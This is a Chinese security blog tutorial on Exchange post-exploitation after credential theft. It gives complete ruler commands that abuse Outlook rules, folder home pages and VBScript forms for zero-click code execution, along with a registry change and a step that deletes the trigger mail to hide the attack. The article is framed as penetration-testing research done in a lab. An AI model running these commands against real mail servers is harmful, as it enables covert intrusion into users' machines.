技术讨论 | Exchange后渗透利用上篇 – 作者:Kriston

Exchange是渗透测试中的兵家必争之地,获取到了Exchange的权限后往往能从用户邮件中获取能够进行进一步渗透的大量有价值信息。当黑客拿到某些用户的合法凭证,或者拿到与邮箱账户相同的域账户凭证之后可以进行后渗透攻击。

常见的攻击方式是通过已经获取的账户和口令给当前邮件服务器的其他用户发送钓鱼邮件进行鱼叉攻击,但在全民安全意识较高的今天,该种攻击方法收效甚微。因而,寻找一种零交互的攻击方式,是进行后一阶段渗透的重点。本文对现有利用规则、主页功能、Form表单进行渗透测试利用的方法进行总结归纳,最后在虚拟环境中对这些方法进行测试。    

滥用Outlook功能

Outlook提供了一项“规则和通知”的功能,设置邮件接受和发送的策略,用户定义当邮件满足某些条件时(例如邮件主题包含特定词语)触发一个特定的动作,这个动作可以是对邮件的管理、处置、甚至能够启动应用程序,所启动的应用程序不一定要是本地主机上的,可以是WebDAV服务器上的应用程序。

设置Outlook登录

我们设置好Outlook对这些功能的实际效果进行检测,通常登录Outlook主要有两种方法,一种是使用POP3进行登录,一种是加入Exchange所在域进行登录。

设置POP3登录

POP3协议规定了如何将个人计算机链接到Internet的邮件服务器上下载电子邮件。统一的标准让人们能使用不同的邮件客户端登录公司的服务器对邮件进行管理。

在Exchange Server 2016上面的管理中心(开始菜单里面)

Exchange管理中心->服务器->Exchange2016->POP3->登录方法

修改为基本身份验证(纯文本)

然后就能在Outlook当中使用POP3方法进行登录了,但通过POP3登录有个弊端,就是设置了登录账户,Rule,主页,Form,等规则之后无法进行同步。这些规则只在远端Exchange服务器上存储。

设置域用户进行登录

首先将使用的主机加入域中,然后直接登录Outlook。它会自动帮你填充用户名和邮箱,直接点击下一步即可登录成功。

只有设置域用户进行登录,在Exchange服务器上给用户设置的收信规则才会同步到本地Outlook中。

手动设置Outlook中的规则

在Outlook当中设置规则

上方工具栏->开始

规则

创建规则

创建的时候要注意一点就是在步骤1选择条件的时候不要勾选(仅在此计算机上),否则只有保存在本地的邮件才会触发你创建的规则

远程设置Rules功能

ruler工具是通过MAPI/HTTP或者RPC/HTTP协议与远程Exchange服务器进行交互的工具。通过该工具能够设置用户Outlook当中的规则并通过这个规则获取用户主机权限。

安装ruler,首先配置好go

wget https://dl.google.com/go/go1.11.2.linux-amd64.tar.gz

export PATH=/path/to/bin

接着如果设置的Exchange网站没有在DNS上注册过相应的域名的话,还需设置hosts文件。将Exchange的访问地址和域控的地址都指向Exchange的IP,让ruler可以通过邮箱的域名查找到对应的IP。

Windows下在 C:\Windows\System32\drivers\etc\hosts

Linux下在 /etc/hosts

添加两条记录,一条是域名的记录,一条是Exchange服务器的记录,例如:

192.168.1.100    centeso.com
192.168.1.100    exchange2016.centeso.com

之后在ruler文件夹执行make命令,make命令除了可以编译出Linux上的可执行程序以外,还能针对不同的操作系统编译出对应架构的应用程序。

编译通过之后,通过 ruler 能够直接查看、设置、或者删除Exchange当中的 rules

查看当前存在的malicious规则

$ ./ruler --nocache --insecure --debug --username user2 --email [email protected] display                                                       
Password:
[+] Retrieving MAPI/HTTP info
[+] Retrieving Rules
[+] Found 1 rules
[+] Rule Name            | Rule ID          
[+] ---------------------|------------------
[+] malicious            | 010000000000055d
[+]

删除当前存在的malicious规则

$ ./ruler --nocache --insecure --debug --username user2 --email [email protected] delete --name malicious
Password:
[+] Retrieving MAPI/HTTP info
[+] Found 1 rules. Extracting ids
[?] Delete rule with id 010000000000055d [y/N]:
y
[+] Fetching list of remaining rules...
[+] No Rules Found

成功删除之后,当前域用户的规则为空,现在我们给它添加一条新的规则。让用户在收到主题中含有 ruler 关键字的邮件之后执行 calc.exe 应用程序。

$ ./ruler --nocache --insecure --debug --username user2 --email [email protected] add --name "Delete Spam" --trigger "ruler" --location "C:\\Windows\\System32\\calc.exe"
Password:
[+] Retrieving MAPI/HTTP info
[+] Adding Rule
[+] Rule Added. Fetching list of rules...
[+] Found 1 rules
[+] Rule Name            | Rule ID          
[+] ---------------------|------------------
[+] Delete Spam          | 0100000000000564
[+]

添加的规则名设置成了 Delete Spam 。可以看到现在新加的规则中包含有我们的 Delete Spam 规则。

测试发现能成功执行 calc.exe 应用。但是当我在本地环境进行测试的时候,还需要修改注册表,在[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Security] 位置增加一个DWORD键值 EnableUnsafeClientMailRules ,并把这个键值设置为1。

为了将渗透测试的过程设计成无感的,还可以通过设置规则在执行完 calc.exe 应用程序之后永久删除用于触发规则的mail,之后发送过来的主题中带有关键字的邮件也停止使用该规则进行匹配。

手动设置主页功能

Outlook 2013当中的主页功能

上方工具栏

文件夹

文件夹属性

主页标签

之后就能够修改Exchange的主页

设置的这个网址既可以是走HTTP协议的,也可以是走HTTPS协议的,既可以是内网中的地址,也可以是外网当中的地址。当Exchange加载这个网页的时候,它使用了 ieframe.dll 组件,

通过该组件中的漏洞 CVE-2017-11774 执行任意shell命令。

但是这种方法现在已经无法使用,取而代之的是通过 ieframe.dll 组件中的 window.external 规则去获取 OutlookApplication 当中的handle,这个方法一直到现在都还在被使用

远程设置主页功能

现在的问题是,设置主页的功能只在Outlook当中存在。一个现实的问题是我们很难去获取用户的主机权限,更别说设置Outlook的文件夹属性了。

这意味着我们需要通过MFCMAPI,让Outlook中的文件夹属性和Exchange当中的文件夹属性进行同步。

通过ruler能够做到远程设置主页

./ruler --nocache --insecure --username user1 --email [email protected] homepage add --url "https://192.168.1.1:8000/"

这个命令当中有两个参数比较的重要

–insecure 表示使用Exchange进行登录的时候忽略https证书的错误(x509: certificate signed by unknown authority)

–username 表示使用哪个用户进行登录认证

–url 表示修改主页为某一特定地址

手动设置Form功能

Form功能是Outlook提供给我们的又一攻击面,通过Form功能设置了如何显示电子邮件组成的一些自定义信息。实际上,所有的Outlook邮件本身都是窗体,唯一的不同点在于他们的UI界面。

手动设置Form功能需要先开启 Deverlopper ,在选项中勾选开发工具,会在导航栏中增加一个 开发工具 的标签。在这个标签中可以设计新的窗体。

设计窗体主要修改的是收件箱的主界面

点击开发工具中的查看代码可以看收件主界面当中的代码,打开脚本编辑器输入VBScript代码

在用户打开窗体的时候执行对应代码。相对于Visual Basic的代码而言,直接设置窗体的代码在Outlook禁用了宏命令的时候也能执行Visual Basic脚本语言。

远程设置Form功能

$ ./ruler --nocache --insecure --username user2 --email [email protected] form add --command "CreateObject("WScript.Shell").Run "calc.exe", 0, False" --suffix test --send
Password:
[+] Retrieving MAPI/HTTP info
[+] Create Form Pointer Attachment
[+] Create Form Template Attachment
[+] Form created successfully
[+] Sending email.
[+] Email sent! Hopefully you will have a shell soon.

同上面两种方法相同,远程设置了Form功能之后执行任意代码了。渗透测试人员可以通过该功能获得远程机器权限。

演示视频

测试环境

Windows 10 1903 18362.836

Exchange 2016

Outlook 2016

*本文作者:Kriston,转载请注明来自FreeBuf.COM

来源:freebuf.com 2020-06-19 17:00:39 by: Kriston

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论